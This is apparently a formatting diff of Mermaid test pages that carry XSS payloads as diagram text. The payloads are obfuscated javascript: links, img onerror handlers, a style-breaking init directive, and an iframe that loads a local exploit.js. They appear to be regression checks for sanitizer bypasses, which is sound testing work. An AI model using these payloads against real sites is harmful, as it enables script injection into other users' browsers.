// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
// console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,18 +93,18 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
|
||||
// var diagram = ` graph TD
|
||||
// A --> B["<a href='javasc`;
|
||||
// diagram += `ript#colon;xssAttack()'>AAA</a>"]`;
|
||||
// var diagram = ` graph TD
|
||||
// A --> B["<a href='javasc`;
|
||||
// diagram += `ript#colon;xssAttack()'>AAA</a>"]`;
|
||||
var diagram = ` graph TD
|
||||
A --> B["<a href='javasc`;
|
||||
diagram += `ript#9;t#colon;xssAttack()'>AAA</a>"]`;
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
diagram += `ript#9;t#colon;xssAttack()'>AAA</a>"]`;
|
||||
// diagram += '//via.placeholder.com/64\' width=64 />"]';
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
</head>
|
||||
<body>
|
||||
<div class="mermaid">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
</head>
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A --> B["<a href='javascript#9;t#colon;alert(document.location)'>AAA</a>"]
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>mermaid.initialize({ startOnLoad: true });
|
||||
</script>
|
||||
</body>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({ startOnLoad: true });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,15 +1,12 @@
|
||||
<html>
|
||||
<head>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<style>
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -33,11 +30,12 @@
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
<!-- prettier-ignore -->
|
||||
%%{init: { 'fontFamily': '\"></style><img src=x onerror=xssAttack()>'} }%%
|
||||
graph LR
|
||||
A --> B
|
||||
</div>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: false,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,23 +82,22 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
|
||||
var diagram = '%%{init: {"flowchart": {"htmlLabels": "true"}} }%%\n';
|
||||
diagram += 'flowchart\n';
|
||||
diagram += 'A["<ifra';
|
||||
diagram += "me srcdoc='<scrip";
|
||||
diagram += 't src=http://localhost:9000/exploit.js>';
|
||||
diagram += '</scr';
|
||||
diagram += 'ipt>\'></iframe>"]';
|
||||
diagram += 'flowchart\n';
|
||||
diagram += 'A["<ifra';
|
||||
diagram += "me srcdoc='<scrip";
|
||||
diagram += 't src=http://localhost:9000/exploit.js>';
|
||||
diagram += '</scr';
|
||||
diagram += 'ipt>\'></iframe>"]';
|
||||
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,16 +93,16 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
var diagram = 'graph LR\n';
|
||||
diagram += 'B-->D("<img onerror=location=`java';
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
diagram += 'script\x3a;xssAttack\u0028\u0029` src=x>");\n';
|
||||
diagram += 'B-->D("<img onerror=location=`java';
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
diagram += 'script\x3a;xssAttack\u0028\u0029` src=x>");\n';
|
||||
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,14 +93,14 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
var diagram = 'graph LR\n';
|
||||
diagram += 'A(<img/src/onerror=xssAttack`1`>)';
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
diagram += 'A(<img/src/onerror=xssAttack`1`>)';
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,16 +93,16 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
var diagram = 'graph LR\n';
|
||||
diagram += " B(<a href='<";
|
||||
diagram += 'script></';
|
||||
diagram += "script>Javascript:xssAttack`1`'>Click)";
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
diagram += " B(<a href='<";
|
||||
diagram += 'script></';
|
||||
diagram += "script>Javascript:xssAttack`1`'>Click)";
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,15 +93,15 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += "<img/src='1'/onerror=xssAttack()> --> B";
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += "<img/src='1'/onerror=xssAttack()> --> B";
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,15 +93,15 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += "<img/src='1'/onerror=xssAttack()> --> B";
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += "<img/src='1'/onerror=xssAttack()> --> B";
|
||||
// diagram += "script\u003aalert\u0028document.domain\u0029\` src=x>\"\);\n";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,23 +1,20 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
|
||||
<div class="mermaid">
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
classDiagram
|
||||
title Animal Diagram
|
||||
accDescription The animal class diagram
|
||||
@@ -41,22 +38,20 @@
|
||||
+bool is_wild
|
||||
+run()
|
||||
}
|
||||
</div>
|
||||
|
||||
